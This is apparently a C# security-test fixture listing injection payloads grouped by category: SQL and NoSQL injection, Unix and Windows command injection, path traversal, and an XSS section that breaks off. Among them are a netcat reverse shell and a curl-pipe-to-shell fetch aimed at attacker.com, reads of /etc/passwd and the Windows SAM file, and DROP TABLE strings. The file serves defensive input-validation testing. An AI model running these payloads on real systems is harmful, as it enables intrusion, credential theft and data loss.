// =============================================================================
// MaliciousPayloads.cs
// Collection of malicious payloads for security testing
// Reference: OWASP Testing Guide, PayloadsAllTheThings
// =============================================================================
namespace StellaOps.Security.Tests.Infrastructure;
///
/// Malicious payloads for testing input validation and injection vulnerabilities.
/// Organized by attack category for use in security tests.
///
public static class MaliciousPayloads
{
///
/// SQL injection payloads for testing database query handling.
///
public static class SqlInjection
{
public static readonly string[] Common =
[
"' OR '1'='1",
"'; DROP TABLE users; --",
"1' OR '1'='1' /*",
"admin'--",
"1; SELECT * FROM users",
"' UNION SELECT * FROM users --",
"1' AND '1'='1",
"'; WAITFOR DELAY '0:0:5' --",
"' OR 1=1 --",
"'; EXEC xp_cmdshell('whoami'); --"
];
public static readonly string[] Blind =
[
"1' AND SLEEP(5) --",
"1' AND (SELECT COUNT(*) FROM users) > 0 --",
"' OR IF(1=1, SLEEP(5), 0) --",
"1; IF(1=1) WAITFOR DELAY '0:0:5' --"
];
public static readonly string[] NoSql =
[
"{ \"$gt\": \"\" }",
"{ \"$where\": \"this.password.length > 0\" }",
"{ \"$regex\": \".*\" }",
"'; return true; var x='",
"{ \"$ne\": null }"
];
}
///
/// Command injection payloads for testing shell command handling.
///
public static class CommandInjection
{
public static readonly string[] Unix =
[
"; cat /etc/passwd",
"| ls -la",
"`whoami`",
"$(id)",
"; nc -e /bin/sh attacker.com 4444",
"& ping -c 5 attacker.com",
"|| touch /tmp/pwned",
"; curl http://attacker.com/shell.sh | sh"
];
public static readonly string[] Windows =
[
"& dir",
"| type C:\\Windows\\System32\\config\\SAM",
"; net user",
"& whoami",
"| powershell -c \"Invoke-WebRequest -Uri http://attacker.com\"",
"; cmd /c dir"
];
public static readonly string[] Generic =
[
";",
"|",
"&",
"&&",
"||",
"\n",
"\r\n",
"`",
"$(",
"#{",
"%0a"
];
}
///
/// Path traversal payloads for testing file system access.
///
public static class PathTraversal
{
public static readonly string[] Common =
[
"../../../etc/passwd",
"..\\..\\..\\Windows\\System32\\config\\SAM",
"....//....//....//etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
"..%252f..%252f..%252fetc/passwd",
"/etc/passwd%00.jpg",
"....\\\\....\\\\....\\\\Windows\\System32\\drivers\\etc\\hosts"
];
public static readonly string[] Null =
[
"../../../etc/passwd%00",
"..\\..\\..\\boot.ini%00",
"%00../../../etc/passwd"
];
}
///
/// XSS payloads for testing cross-site scripting vulnerabilities.
///
public static class Xss
{
public static readonly string[] Script =
[
"",
"
",
"